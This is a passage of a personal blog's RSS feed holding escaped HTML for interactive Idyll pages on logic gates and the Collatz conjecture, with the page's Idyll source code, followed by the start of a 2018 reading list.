style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mclose">)&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>=1 - (&lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>)&lt;/p>&lt;p>=&lt;span>1.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>OR&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mi>A&lt;/mi>&lt;mo>+&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;/mrow>&lt;annotation encoding="application/x-tex">A + B - A * B&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.68333em;">&lt;/span>&lt;span class="strut bottom" style="height:0.76666em;vertical-align:-0.08333em;">&lt;/span>&lt;span class="base">&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">+&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>= &lt;span>0.00&lt;/span> + &lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>&lt;/p>&lt;p>= &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>NOR&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mn>1&lt;/mn>&lt;mo>−&lt;/mo>&lt;mo>(&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>+&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>)&lt;/mo>&lt;/mrow>&lt;annotation encoding="application/x-tex">1 - (A + B - A * B)&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.75em;">&lt;/span>&lt;span class="strut bottom" style="height:1em;vertical-align:-0.25em;">&lt;/span>&lt;span class="base">&lt;span class="mord">1&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mopen">(&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">+&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mclose">)&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>= 1 - (&lt;span>0.00&lt;/span> + &lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>)&lt;/p>&lt;p>= &lt;span>1.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>XOR&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mi>A&lt;/mi>&lt;mo>+&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;/mrow>&lt;annotation encoding="application/x-tex">A + B - A * B - A * B&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.68333em;">&lt;/span>&lt;span class="strut bottom" style="height:0.76666em;vertical-align:-0.08333em;">&lt;/span>&lt;span class="base">&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">+&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>= &lt;span>0.00&lt;/span> + &lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>&lt;/p>&lt;p>= &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>NXOR&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mn>1&lt;/mn>&lt;mo>−&lt;/mo>&lt;mo>(&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>+&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>)&lt;/mo>&lt;/mrow>&lt;annotation encoding="application/x-tex">1 - (A + B - A * B - A * B)&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.75em;">&lt;/span>&lt;span class="strut bottom" style="height:1em;vertical-align:-0.25em;">&lt;/span>&lt;span class="base">&lt;span class="mord">1&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mopen">(&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">+&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;span class="mclose">)&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>= 1 - (&lt;span>0.00&lt;/span> + &lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span> - &lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>)&lt;/p>&lt;p>= &lt;span>1.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:fixed" class="fixed">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;/div>
&lt;script src="../logic_operations.js">&lt;/script></description></item><item><title>Collatz Conjecture Playground</title><link>https://hightower.space/posts/collatz-conjecture/</link><pubDate>Tue, 12 Jun 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/collatz-conjecture/</guid><description>&lt;link rel="stylesheet" href="../collatz-conjecture.css">
&lt;div id="idyll-mount">&lt;div data-reactroot="">&lt;div class="idyll-root">&lt;div style="max-width:600px;margin:0 0 0 50px" class=" idyll-text-container">&lt;p>Starting value: &lt;input type="range" value="10" min="1" max="100" step="1"/> &lt;span>10.00&lt;/span>&lt;/p>&lt;p>Found solution in: &lt;span>6.00&lt;/span> steps&lt;/p>&lt;div>&lt;div style="height:100%;width:100%;user-select:none;pointer-events:none;touch-action:none;position:relative" class="VictoryContainer">&lt;svg width="450" height="300" role="img" aria-labelledby="victory-container-1-title victory-container-1-desc" viewBox="0 0 450 300" style="pointer-events:all;width:100%;height:100%">&lt;g style="height:100%;width:100%;user-select:none">&lt;defs>&lt;clipPath id="victory-clip-2">&lt;rect x="50" y="50" width="350" height="200">&lt;/rect>&lt;/clipPath>&lt;/defs>&lt;g clip-path="url(#victory-clip-2)">&lt;path style="fill:transparent;stroke:#252525;stroke-width:2" shape-rendering="auto" role="presentation" d="M50,131.981981981982L106.6679883690193,192.04204204204206L163.3359767380386,59.909909909909885L220.0039651070579,156.00600600600598L276.6719534760772,204.05405405405406L333.33994184509646,228.07807807807808L390.0079302141158,240.0900900900901">&lt;/path>&lt;/g>&lt;/g>&lt;g role="presentation">&lt;line x1="50" x2="400" y1="250" y2="250" style="stroke:#252525;fill:transparent;stroke-width:1;stroke-linecap:round;stroke-linejoin:round" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;g role="presentation">&lt;line x1="106.6679883690193" x2="106.6679883690193" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="106.6679883690193" x2="106.6679883690193" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="106.6679883690193" y="261">&lt;tspan x="106.6679883690193" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">1.0&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="163.3359767380386" x2="163.3359767380386" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="163.3359767380386" x2="163.3359767380386" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="163.3359767380386" y="261">&lt;tspan x="163.3359767380386" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">2.0&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="220.0039651070579" x2="220.0039651070579" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="220.0039651070579" x2="220.0039651070579" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="220.0039651070579" y="261">&lt;tspan x="220.0039651070579" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">3.0&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="276.6719534760772" x2="276.6719534760772" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="276.6719534760772" x2="276.6719534760772" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="276.6719534760772" y="261">&lt;tspan x="276.6719534760772" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">4.0&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="333.33994184509646" x2="333.33994184509646" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="333.33994184509646" x2="333.33994184509646" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="333.33994184509646" y="261">&lt;tspan x="333.33994184509646" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">5.0&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="390.0079302141158" x2="390.0079302141158" y1="250" y2="50" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="390.0079302141158" x2="390.0079302141158" y1="250" y2="251" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="11.969999999999999" x="390.0079302141158" y="261">&lt;tspan x="390.0079302141158" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="middle">6.0&lt;/tspan>&lt;/text>&lt;/g>&lt;/g>&lt;g role="presentation">&lt;line x1="50" x2="50" y1="50" y2="250" style="stroke:#252525;fill:transparent;stroke-width:1;stroke-linecap:round;stroke-linejoin:round" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;g role="presentation">&lt;line x1="50" x2="400" y1="192.04204204204206" y2="192.04204204204206" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="50" x2="49" y1="192.04204204204206" y2="192.04204204204206" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="4.97" x="39" y="192.04204204204206">&lt;tspan x="39" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="end">5&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="50" x2="400" y1="131.981981981982" y2="131.981981981982" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="50" x2="49" y1="131.981981981982" y2="131.981981981982" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="4.97" x="39" y="131.981981981982">&lt;tspan x="39" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="end">10&lt;/tspan>&lt;/text>&lt;/g>&lt;g role="presentation">&lt;line x1="50" x2="400" y1="71.92192192192189" y2="71.92192192192189" style="stroke:transparent;fill:transparent;pointer-events:none" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;line x1="50" x2="49" y1="71.92192192192189" y2="71.92192192192189" style="stroke:transparent;fill:transparent;size:1px" role="presentation" shape-rendering="auto" vector-effect="non-scaling-stroke">&lt;/line>&lt;text dx="0" dy="4.97" x="39" y="71.92192192192189">&lt;tspan x="39" dx="0" style="fill:#252525;font-size:14px;font-family:&amp;#x27;Gill Sans&amp;#x27;, &amp;#x27;Gill Sans MT&amp;#x27;, &amp;#x27;Ser­avek&amp;#x27;, &amp;#x27;Trebuchet MS&amp;#x27;, sans-serif;stroke:transparent;letter-spacing:normal;padding:10px" text-anchor="end">15&lt;/tspan>&lt;/text>&lt;/g>&lt;/g>&lt;/svg>&lt;div style="z-index:99;position:absolute;top:0;left:0;width:100%;height:100%">&lt;svg width="450" height="300" viewBox="0 0 450 300" style="overflow:visible;width:100%;height:100%">&lt;/svg>&lt;/div>&lt;/div>&lt;/div>&lt;div class="ReactTable table ">&lt;div class="rt-table" role="grid">&lt;div class="rt-thead -header" style="min-width:200px">&lt;div class="rt-tr" role="row">&lt;div class="rt-th rt-resizable-header -cursor-pointer" role="columnheader" tabindex="-1" style="flex:100 0 auto;width:100px">&lt;div class="rt-resizable-header-content">x&lt;/div>&lt;div class="rt-resizer">&lt;/div>&lt;/div>&lt;div class="rt-th rt-resizable-header -cursor-pointer" role="columnheader" tabindex="-1" style="flex:100 0 auto;width:100px">&lt;div class="rt-resizable-header-content">y&lt;/div>&lt;div class="rt-resizer">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tbody" style="min-width:200px">&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -odd" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">0&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">10&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -even" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">1&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">5&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -odd" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">2&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">16&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -even" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">3&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">8&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -odd" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">4&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">4&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -even" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">5&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">2&lt;/div>&lt;/div>&lt;/div>&lt;div class="rt-tr-group" role="rowgroup">&lt;div class="rt-tr -odd" role="row">&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">6&lt;/div>&lt;div class="rt-td" role="gridcell" style="flex:100 0 auto;width:100px">1&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div class="-loading">&lt;div class="-loading-inner">Loading...&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;/div>
&lt;script src="../collatz-conjecture.js">&lt;/script>
&lt;p>This was written using &lt;a href="https://idyll-lang.org/">the Idyll markup language&lt;/a> for creating interactive documents. The Idyll code to create this page is:&lt;/p>
&lt;pre tabindex="0">&lt;code>Starting value: [var name:&amp;#34;number&amp;#34; value:10 /] [Range value:number min:1 max:100 /] [Display value:number /]
[var name:&amp;#34;createJson&amp;#34; value:`function(max, step, number) {
var data = [];
function iterate(max, step, number) {
var newNumber;
if (number % 2 === 0) {
newNumber = number / 2;
} else {
newNumber = 3*number + 1;
}
if (newNumber !== 1 &amp;amp;&amp;amp; step &amp;lt; max) {
data.push({
x: step,
y: newNumber
});
iterate(max, step + 1, newNumber);
} else {
data.push({
x: step,
y: newNumber
});
}
}
data.push({
x: step,
y: number
});
iterate(max, step + 1, number);
return data;
}` /]
Found solution in: [Display value:`createJson(200, 0, number).length - 1` /] steps
[Chart data:`createJson(200, 0, number)` /]
[Table data:`createJson(200, 0, number)` /]
&lt;/code>&lt;/pre></description></item><item><title>2018 Reading List</title><link>https://hightower.space/posts/2018-reading-list/</link><pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2018-reading-list/</guid><description>&lt;ul>
&lt;li>A Guide to Prayer (Isaac Watts)&lt;/li>
&lt;li>Proof: Finding Freedom through the Intoxicating Joy of Irresistible Grace (Daniel Montgomery, Timothy Paul Jones)&lt;/li>
&lt;li>Long Before Luther: Tracing the Heart of the Gospel From Christ to the Reformation (Nathan Busenitz)&lt;/li>
&lt;li>Computers and Procrastination: The Peril and the Promise (Nick Breems)&lt;/li>
&lt;li>A Short History of the Interpretation of the Bible (Robert Grant)&lt;/li>
&lt;li>Praying the Bible (Donald S. Whitney)&lt;/li>
&lt;li>Politics and the English Language (George Orwell)&lt;/li>
&lt;li>Wuthering Heights (Emily Brontë)&lt;/li>
&lt;li>The Strenuous Life (A speech by Theodore Roosevelt)&lt;/li>
&lt;li>The Consolation of Philosophy (Boethius)&lt;/li>
&lt;li>Romans in the Greek New Testament for the English reader (Kenneth Samuel Wuest)&lt;/li>
&lt;li>The Prince and the Pauper (Mark Twain)&lt;/li>
&lt;li>Religious Affections (Jonathan Edwards)&lt;/li>
&lt;li>The Consequences of Ideas (R.C. Sproul)&lt;/li>
&lt;li>Illustrations of the Logic of Science: How to Make our Ideas Clear (C. S. Peirce)&lt;/li>
&lt;li>The Hermeneutics of Christ-Centered Preaching (Abner Chou)&lt;/li>
&lt;li>The Perspicuity of Scripture (Larry D. Pettegrew - &lt;a href="https://www.tms.edu/m/tmsj15i.pdf">link&lt;/a>)&lt;/li>
&lt;li>On the Criteria To Be Used in Decomposing Systems into Modules (D. L. Parnas)&lt;/li>
&lt;li>Two Notes on Notation (Donald Knuth)&lt;/li>
&lt;li>Galileo&amp;rsquo;s Daughter (Dava Sobel)&lt;/li>
&lt;li>Till We Have Faces (C. S. Lewis)&lt;/li>
&lt;li>Prayer (John Bunyan)&lt;/li>
